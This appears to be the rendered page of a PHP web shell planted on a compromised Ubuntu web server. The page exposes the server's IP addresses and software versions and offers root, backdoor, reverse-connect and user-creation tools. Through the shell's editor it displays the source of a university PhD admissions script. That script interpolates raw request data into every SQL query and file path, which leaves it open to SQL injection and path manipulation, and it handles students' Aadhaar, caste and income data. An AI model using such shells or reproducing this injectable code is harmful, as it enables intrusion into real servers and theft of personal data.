Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.16.49.213
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
kus /
adm /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
applicationFormReportPOSTOFFIC...
19.27
KB
-rwxr-xr-x
applicationFormReportSBM.php
8.41
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
cappcontext.php
2.66
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
coutput.php
1.76
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
customappcontext.php
2.35
KB
-rwxr-xr-x
dropdown.php
844
B
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
fpdf_protection.php
5.61
KB
-rwxr-xr-x
getdata.php
1.06
KB
-rwxr-xr-x
getnumword.php
7.15
KB
-rwxr-xr-x
json.php
33.2
KB
-rwxr-xr-x
kusphdadm.php
24.9
KB
-rwxr-xr-x
kusphdadm_01122018.php
17.73
KB
-rwxr-xr-x
kusphdadm_04122018.php
14.16
KB
-rwxr-xr-x
kusphdadm_07032020.php
18.3
KB
-rwxr-xr-x
kusphdadm_16092018.php
11.4
KB
-rwxr-xr-x
kusphdadm_17092018.php
11.72
KB
-rwxr-xr-x
kusphdadm_170920181.php
12
KB
-rwxr-xr-x
kusphdadm_18092018.php
15.92
KB
-rwxr-xr-x
mregistry.php
4.97
KB
-rwxr-xr-x
re_rigistration.php
7.38
KB
-rwxr-xr-x
report_bulk_applications.php
30.47
KB
-rw-rw-r--
report_bulk_applications_04122...
19.42
KB
-rwxr-xr-x
report_bulk_applications_05082...
24.53
KB
-rwxr-xr-x
report_bulk_applications_08092...
19.42
KB
-rwxr-xr-x
report_bulk_applications_12012...
26.73
KB
-rwxr-xr-x
report_bulk_applications_16092...
19.42
KB
-rwxr-xr-x
report_bulk_applications_20092...
19.42
KB
-rwxr-xr-x
report_hall_ticket.php
11.31
KB
-rwxr-xr-x
reportapplicationform - Copy.p...
19.59
KB
-rwxr-xr-x
reportapplicationform.php
23.92
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
saveApplication.php
8.91
KB
-rwxr-xr-x
saveRerigistration.php
10.87
KB
-rwxr-xr-x
student.php
15.64
KB
-rwxr-xr-x
student_04122018.php
13.67
KB
-rwxr-xr-x
subfeedetl.php
3.39
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : kusphdadm_18092018.php
<?php function saveApplication($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $reg_no = $aobj_context->mobj_data["reg_no"]; include_once($aobj_context->main_src."/json.php"); $json = new Services_JSON(); //recieve decode json string of personal info $lstr_param = stripslashes($aobj_context->mobj_data["personal_info"]); $per_arr_data = json_decode($lstr_param, true); $fappno = stripslashes($aobj_context->mobj_data["fappno"]); $final_submit = stripslashes($aobj_context->mobj_data["final"]); ////recieve decode json string of subject info $strSubject = stripslashes($aobj_context->mobj_data["pRgSubjects"]); $sub_arr_data = json_decode($strSubject, true); $aobj_context->main_src = realpath(__DIR__ . '/../..'); $rgMultiMarks = stripslashes($aobj_context->mobj_data["rgMultiMarks"]); $MultiMarks_arr_data = json_decode($rgMultiMarks, true); $strSubjects = implode("','", $sub_arr_data); //convert to Associative array $rgPerArray = array(); for($i=0; $i<count($per_arr_data); $i++) { $rgPerArray[$per_arr_data[$i]['id']] = $per_arr_data[$i]['value']; } //For phd admissions assuming examno and college code $degree = $rgPerArray['idDegree']; $college = $rgPerArray['idCollege']; if($degree == '' || $college == '') { $arr['message'] = 'Something went wrong contact helpdesk'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); return; } $query = "select FCONTACT_NO,fappno from studadm where FCONTACT_NO = '{$rgPerArray['stuMobileno']}'"; $studresult = $aobj_context->mobj_db->GetRow($query); if(count($studresult) >0) $fappno = $studresult['fappno']; if($fappno == '') { $query = "select FTOTSUB from degree where fdegree ='{$rgPerArray['idDegree']}' and fexamno = 'A'"; $resultTotsub = $aobj_context->mobj_db->GetRow($query); $totsub = $resultTotsub['FTOTSUB']; $get_last_no="select right(concat('0000',ifnull(max(FSLNO),0)+01),4) as app_no from studadm WHERE FDEGREE='{$rgPerArray['idDegree']}' and FCOLLCODE = '{$rgPerArray['idCollege']}'"; $obj = $aobj_context->mobj_db->GetRow($get_last_no); $sl_no = "0000".$obj['app_no']; $sl_no = substr($sl_no, -4); $query = "select FADMPREFIX from control"; $results = $aobj_context->mobj_db->GetRow($query); $FADMPREFIX = $results['FADMPREFIX']; $query = "select internal_code+1 as FAUTOINCREMENT from studadm order by internal_code desc limit 1"; $results = $aobj_context->mobj_db->GetRow($query); $FAUTOINCREMENT = $results['FAUTOINCREMENT']; $appno = $FADMPREFIX.$FAUTOINCREMENT; $fappno = $appno; $insert_qry="insert into studadm (FSLNO,FDEGREE,FCOLLCODE,FNAME,FGENDER,FDOB, FEXAMNO,FFATNAME,FMOTNAME,FEMAIL,FCASTE, FCONTACT_NO,FNATIONAL,FCURRADD1,FCURRADD2,FCURRADD3,FPERMADD1, FPERMADD2,FPERMADD3,FRELIGION,FMOBILE_NO, FCATBIRTH,FADMDATE,FINCOME,FAADHARNO, FUNIVNAME,FQUALEXREGNO, FAPPNO,FAREA,FQMONTH,FQYEAR,FQSECMARKS,FQMAXMARKS,FQPERCENTAGE,FBLOOD_GROUP, FTYPEQUALEXAM,fcombcode,FPERDIST,FPERPINCODE, FPERSATE,FCOMDIST,FCOMPINCODE,FCOMSTATE,FFINSUB, FCREATEDATE, FCREATEUSER) values ('{$sl_no}','{$rgPerArray['idDegree']}', '{$rgPerArray['idCollege']}','{$rgPerArray['idStudname']}', '{$rgPerArray['gender']}',date_format(STR_TO_DATE('{$rgPerArray['idDob']}','%d/%m/%Y'),'%Y-%m-%d'), 'A','{$rgPerArray['idFatname']}', '{$rgPerArray['idMotname']}','{$rgPerArray['stuEmail']}', '{$rgPerArray['idCategory']}','{$rgPerArray['stuMobileno']}', '{$rgPerArray['idNationality']}','{$rgPerArray['cadd1']}','{$rgPerArray['cadd2']}', '{$rgPerArray['cadd3']}','{$rgPerArray['padd1']}','{$rgPerArray['padd2']}', '{$rgPerArray['padd3']}','{$rgPerArray['idReligion']}','{$rgPerArray['pmobileno']}', '{$rgPerArray['idCaste']}', date_format(now(),'%Y-%m-%d'),'{$rgPerArray['income']}','{$rgPerArray['adhar']}', '{$rgPerArray['idUnvName']}','{$rgPerArray['idUnvRegno']}', '{$fappno}', '{$rgPerArray['area']}', '{$rgPerArray['idUnvPassMth']}','{$rgPerArray['idUnvPassYear']}', '{$rgPerArray['idUnvSecMarks']}','{$rgPerArray['idUnvMaxMarks']}', '{$rgPerArray['idUnvPerc']}','{$rgPerArray['idBldgrp']}', '{$rgPerArray['idUnvExam']}', '{$rgPerArray['idDegComb']}','{$rgPerArray['pdistrict']}', '{$rgPerArray['ppincode']}','{$rgPerArray['pstate']}','{$rgPerArray['cdistrict']}', '{$rgPerArray['cpincode']}','{$rgPerArray['cstate']}','{$final_submit}', now(), 'student')"; $results = $aobj_context->mobj_db->Execute($insert_qry); for($k=0;$k<count($sub_arr_data);$k++) { if($sub_arr_data[$k] != '') { $insSubs .= "('{$rgPerArray['idDegree']}', 'A', '{$rgPerArray['idCollege']}', '{$sl_no}', '{$sub_arr_data[$k]}', 'F', '{$fappno}'),"; } } if(count($sub_arr_data) > 0) { $insSubs = rtrim($insSubs,','); $query = "insert into options(FDEGREE, FEXAMNO, FCOLLCODE, FSLNO, FSUBCODE, FDELETED,fappno) values {$insSubs}"; $optresults = $aobj_context->mobj_db->Execute($query); } if($results) { $cert_path = $aobj_context->main_src."/certificates/".$fappno; //is successfully inserted if(!file_exists($cert_path)) { mkdir($cert_path); } $doc_names = ['ADHAAR', 'CASTE', 'INCOME', 'SSLCMC', 'TCCERT', 'PUMC', 'GCCERT']; // ------------- Document Strart -------------------////// for($i=0;$i<count($doc_names);$i++) { $GCCERT = $rgPerArray['h_'.$doc_names[$i]]; if($GCCERT == '') continue; $GCCERT_PATH = $aobj_context->main_src.'/upload/'.$GCCERT; $filename = explode(".", $GCCERT_PATH); $ext = strtolower($filename[1]); $GCCERT_FILENAME = $doc_names[$i]; $GCCERT_FILENAME = $GCCERT_FILENAME.".".$ext; $GCCERT_FILENAME_FILENAME = $cert_path."/".$GCCERT_FILENAME; $GCCERT = "certificates/{$fappno}/".$GCCERT_FILENAME; if(copy($GCCERT_PATH,$GCCERT_FILENAME_FILENAME)) { $query = "delete from studoc where login_cnt = '{$fappno}' and app_no = '{$sl_no}' and fdoctype = '{$doc_names[$i]}'"; $studocresults = $aobj_context->mobj_db->Execute($query); $insert = "INSERT INTO studoc ( app_no, login_cnt, file_path, created_date,fdegree,fcollcode,fdoctype ) values ( '{$sl_no}', '{$fappno}', '{$GCCERT}',now(),'{$rgPerArray['idDegree']}','{$rgPerArray['idCollege']}','{$doc_names[$i]}' )"; $lobj_insert= $aobj_context->mobj_db->Execute($insert); unlink($GCCERT_PATH); } } // -------------Document end -------------------////// //update photo path $college_path=$aobj_context->main_src."/student_photos/{$rgPerArray['idCollege']}"; $degree_path=$aobj_context->main_src."/student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree'];; $folder_path=$aobj_context->main_src."/student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree'];; $sign_folder_path = $aobj_context->main_src."/student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree']."/sign"; $photo_filename = $rgPerArray['photo_path']; if($photo_filename != '') { $image_path = $aobj_context->main_src."/upload/{$photo_filename}"; $filename = explode(".", $photo_filename); $ext = strtolower($filename[1]); $photo_filename = $rgPerArray['idCollege']."_".$rgPerArray['idDegree']."_".$fappno; $photo_filename = $photo_filename.".".$ext; $full_file_path = $folder_path.'/'.$photo_filename; if(!file_exists($college_path)) { mkdir($college_path); } if(!file_exists($degree_path)) { mkdir($degree_path); } if(!file_exists($sign_folder_path)) { mkdir($sign_folder_path); } $photo = "student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree'].'/'.$photo_filename; if(copy($image_path,$full_file_path)) { $update="update studadm set FPHOTOPATH='{$photo}' where FAPPNO= '{$fappno}'"; $up_obj=$aobj_context->mobj_db->Execute($update); unlink($image_path); } } //update signature path $sign_filename = $rgPerArray['sign_path']; if($sign_filename != '') { $sign_path = $aobj_context->main_src."/upload/{$sign_filename}"; $filename = explode(".", $sign_filename); $ext = strtolower($filename[1]); $sign_filename = $rgPerArray['idCollege']."_".$rgPerArray['idDegree']."_".$fappno."_sign"; $sign_filename = $sign_filename.".".$ext; $full_file_path_sign = $folder_path."/sign/".$sign_filename; $sign = "student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree']."/sign/".$sign_filename; if(copy($sign_path,$full_file_path_sign)) { $update="update studadm set FSIGNPATH='{$sign}' where FAPPNO= '{$fappno}' "; $up_obj=$aobj_context->mobj_db->Execute($update); unlink($sign_path); } } } //insert to studadm } else { $query = "update studadm set fdegree = '{$rgPerArray['idDegree']}', FCOLLCODE = '{$rgPerArray['idCollege']}', FNAME = '{$rgPerArray['idStudname']}', FGENDER = '{$rgPerArray['gender']}', FDOB = DATE_FORMAT(STR_TO_DATE('{$rgPerArray['idDob']}','%d/%m/%Y'),'%Y-%m-%d'), FFATNAME = '{$rgPerArray['idFatname']}', FMOTNAME = '{$rgPerArray['idMotname']}', FEMAIL = '{$rgPerArray['stuEmail']}', FCASTE = '{$rgPerArray['idCategory']}', FCONTACT_NO = '{$rgPerArray['stuMobileno']}', FNATIONAL = '{$rgPerArray['idNationality']}', FCURRADD1 = '{$rgPerArray['cadd1']}', FCURRADD2 = '{$rgPerArray['cadd2']}', FCURRADD3 = '{$rgPerArray['cadd3']}', FCOMDIST = '{$rgPerArray['cdistrict']}', FCOMPINCODE = '{$rgPerArray['cpincode']}', FCOMSTATE = '{$rgPerArray['cstate']}', FPERMADD1 = '{$rgPerArray['padd1']}', FPERMADD2 = '{$rgPerArray['padd2']}', FPERMADD3 = '{$rgPerArray['padd3']}', FPERDIST = '{$rgPerArray['pdistrict']}', FPERPINCODE = '{$rgPerArray['ppincode']}', FPERSATE = '{$rgPerArray['pstate']}', FRELIGION = '{$rgPerArray['idReligion']}', FMOBILE_NO = '{$rgPerArray['pmobileno']}', FCATBIRTH = '{$rgPerArray['idCaste']}', FINCOME = '{$rgPerArray['income']}', FAADHARNO = '{$rgPerArray['adhar']}', FUNIVNAME = '{$rgPerArray['idUnvName']}', FQUALEXREGNO = '{$rgPerArray['idUnvRegno']}', FAREA = '{$rgPerArray['area']}', FQMONTH = '{$rgPerArray['idUnvPassMth']}', FQYEAR = '{$rgPerArray['idUnvPassYear']}', FQMAXMARKS = '{$rgPerArray['idUnvMaxMarks']}', FQSECMARKS = '{$rgPerArray['idUnvSecMarks']}', FQPERCENTAGE = '{$rgPerArray['idUnvPerc']}', FBLOOD_GROUP = '{$rgPerArray['idBldgrp']}', FTYPEQUALEXAM = '{$rgPerArray['idUnvExam']}', fcombcode = '{$rgPerArray['idDegComb']}', flogdate = now(), ffinsub = '{$final_submit}' where fappno = '{$fappno}'"; $results = $aobj_context->mobj_db->Execute($query); $query = "select fslno from studadm where fappno = '{$fappno}'"; $res = $aobj_context->mobj_db->GetRow($query); $sl_no = $res['fslno']; if(count($sub_arr_data) >0) $query = "delete from options where fappno = '{$fappno}'"; $deloptresults = $aobj_context->mobj_db->Execute($query); for($k=0;$k<count($sub_arr_data);$k++) { if($sub_arr_data[$k] != '') { $insSubs .= "('{$rgPerArray['idDegree']}', 'A', '{$rgPerArray['idCollege']}', '{$sl_no}', '{$sub_arr_data[$k]}', 'F', '{$fappno}'),"; } } if(count($sub_arr_data) > 0) { $insSubs = rtrim($insSubs,','); $query = "insert into options(FDEGREE, FEXAMNO, FCOLLCODE, FSLNO, FSUBCODE, FDELETED,fappno) values {$insSubs}"; $optresults = $aobj_context->mobj_db->Execute($query); } if($results) { $cert_path = $aobj_context->main_src."/certificates/".$fappno; //is successfully inserted if(!file_exists($cert_path)) { mkdir($cert_path); } $doc_names = ['ADHAAR', 'CASTE', 'INCOME', 'SSLCMC', 'TCCERT', 'PUMC', 'GCCERT']; // ------------- Document Strart -------------------////// for($i=0;$i<count($doc_names);$i++) { $GCCERT = $rgPerArray['h_'.$doc_names[$i]]; if($GCCERT == '') continue; $GCCERT_PATH = $aobj_context->main_src.'/upload/'.$GCCERT; $filename = explode(".", $GCCERT_PATH); $ext = strtolower($filename[1]); $GCCERT_FILENAME = $doc_names[$i]; $GCCERT_FILENAME = $GCCERT_FILENAME.".".$ext; $GCCERT_FILENAME_FILENAME = $cert_path."/".$GCCERT_FILENAME; $GCCERT = "certificates/{$fappno}/".$GCCERT_FILENAME; if(copy($GCCERT_PATH,$GCCERT_FILENAME_FILENAME)) { $query = "delete from studoc where login_cnt = '{$fappno}' and app_no = '{$sl_no}' and fdoctype = '{$doc_names[$i]}'"; $studocresults = $aobj_context->mobj_db->Execute($query); $insert = "INSERT INTO studoc ( app_no, login_cnt, file_path, created_date,fdegree,fcollcode,fdoctype ) values ( '{$sl_no}', '{$fappno}', '{$GCCERT}',now(),'{$rgPerArray['idDegree']}','{$rgPerArray['idCollege']}','{$doc_names[$i]}' )"; $lobj_insert= $aobj_context->mobj_db->Execute($insert); unlink($GCCERT_PATH); } } // -------------Document end -------------------////// //update photo path $college_path=$aobj_context->main_src."/student_photos/{$rgPerArray['idCollege']}"; $degree_path=$aobj_context->main_src."/student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree'];; $folder_path=$aobj_context->main_src."/student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree'];; $sign_folder_path = $aobj_context->main_src."/student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree']."/sign"; $photo_filename = $rgPerArray['photo_path']; if($photo_filename != '') { $image_path = $aobj_context->main_src."/upload/{$photo_filename}"; $filename = explode(".", $photo_filename); $ext = strtolower($filename[1]); $photo_filename = $rgPerArray['idCollege']."_".$rgPerArray['idDegree']."_".$fappno; $photo_filename = $photo_filename.".".$ext; $full_file_path = $folder_path.'/'.$photo_filename; if(!file_exists($college_path)) { mkdir($college_path); } if(!file_exists($degree_path)) { mkdir($degree_path); } if(!file_exists($sign_folder_path)) { mkdir($sign_folder_path); } $photo = "student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree'].'/'.$photo_filename; if(copy($image_path,$full_file_path)) { $update="update studadm set FPHOTOPATH='{$photo}' where FAPPNO= '{$fappno}'"; $up_obj=$aobj_context->mobj_db->Execute($update); unlink($image_path); } } //update signature path $sign_filename = $rgPerArray['sign_path']; if($sign_filename != '') { $sign_path = $aobj_context->main_src."/upload/{$sign_filename}"; $filename = explode(".", $sign_filename); $ext = strtolower($filename[1]); $sign_filename = $rgPerArray['idCollege']."_".$rgPerArray['idDegree']."_".$fappno."_sign"; $sign_filename = $sign_filename.".".$ext; $full_file_path_sign = $folder_path."/sign/".$sign_filename; $sign = "student_photos/{$rgPerArray['idCollege']}/".$rgPerArray['idDegree']."/sign/".$sign_filename; if(copy($sign_path,$full_file_path_sign)) { $update="update studadm set FSIGNPATH='{$sign}' where FAPPNO= '{$fappno}' "; $up_obj=$aobj_context->mobj_db->Execute($update); unlink($sign_path); } } } } if($results && $optresults) { $data='Your Application is submitted successfully.'; $arr['message']= $data; $arr['app_no'] = $fappno; $arr['slno'] = $slnocnt; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } else { $arr['message'] = 'Something went wrong please contact help desk'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); return; } } function rePrintApplication($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $query = "select ifnull(fappno,'') as fappno from studadm where FCONTACT_NO = '{$_SESSION['MOBILE']}'"; $obj = $aobj_context->mobj_db->GetRow($query); // var_dump($obj); $row['appno'] = $obj['fappno']; $row['error_code'] = '0'; if($obj['fappno'] == '') { $row['error_code'] = '1'; } echo json_encode($row); }
Close